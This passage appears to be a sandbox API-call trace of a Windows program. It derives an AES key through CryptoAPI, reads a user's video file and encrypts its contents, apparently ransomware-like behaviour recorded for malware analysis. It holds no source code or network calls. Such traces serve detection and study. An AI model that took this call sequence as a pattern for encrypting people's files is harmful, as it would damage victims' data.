lpMsg=0xe8f3dfe280) returned 0 [0028.974] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.974] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40633e0) returned 1 [0028.974] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.974] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.975] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0028.975] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.975] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.975] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.975] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.975] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.975] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0028.975] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.975] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.975] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.975] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.975] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.975] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.975] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0028.975] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.975] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.975] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0028.975] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.975] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.975] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0028.975] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.975] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.975] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0028.975] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.975] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.975] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.975] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.975] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.975] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.976] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.976] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0028.976] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.976] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.976] CryptCreateHash (in: hProv=0xe8f40633e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0028.976] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.976] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.976] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.976] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.976] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0028.976] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.976] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.976] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.976] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.976] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.976] CryptHashData (hHash=0xe8f4062330, pbData=0xe8f418b480, dwDataLen=0x20, dwFlags=0x1) returned 1 [0028.976] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.976] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.976] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.976] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.976] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.976] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0028.976] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.976] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.976] CryptDeriveKey (in: hProv=0xe8f40633e0, Algid=0x660e, hBaseData=0xe8f4062330, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f40623a0) returned 1 [0028.977] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.977] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.977] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.977] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.978] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.978] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.978] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0028.978] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0028.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0xe8f417b060, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0028.978] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptDestroyHash") returned 0x7ffe2a59e84c [0028.978] CryptDestroyHash (hHash=0xe8f4062330) returned 1 [0028.979] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.980] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.980] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.980] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.980] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.980] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\aOaM uZXXriFkMMJoHX.mkv" (normalized: "c:\\users\\5jghkoaofdp\\videos\\aoam uzxxrifkmmjohx.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0028.980] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0028.980] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0028.980] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.980] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.980] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.981] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.981] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.981] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.981] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.982] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0028.982] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0028.984] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x509c, lpOverlapped=0x0) returned 1 [0028.984] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0028.987] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.987] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.987] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.987] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0028.987] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.987] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.987] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0028.987] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.987] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0028.987] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.988] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.988] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.988] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0028.988] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.988] CryptGetKeyParam (in: hKey=0xe8f40623a0, dwParam=0x7, pbData=0xe8f4064ac0, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064ac0*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0028.988] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.988] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.988] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.988] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.988] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.988] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.988] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.988] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.988] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0028.988] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.988] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.988] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0028.988] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.988] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.988] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0028.988] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.988] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.988] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.988] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.988] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.988] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.988] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.988] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.988] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.989] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.989] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x1509c, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x150a0) returned 1 [0028.990] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.990] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.990] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.990] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.990] CharLowerBuffW (in: lpsz="byte[86177]", cchLength=0xb | out: lpsz="byte[86177]") returned 0xb [0028.991] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.993] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.993] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.993] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.994] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0028.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0xe8f417ac20, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0028.995] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptEncrypt") returned 0x7ffe2a5cb720 [0028.995] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f43b9240*, pdwDataLen=0xe8f3dfdf68*=0x1509c, dwBufLen=0x150a0 | out: pbData=0xe8f43b9240*, pdwDataLen=0xe8f3dfdf68*=0x150a0) returned 1 [0028.996] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.996] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 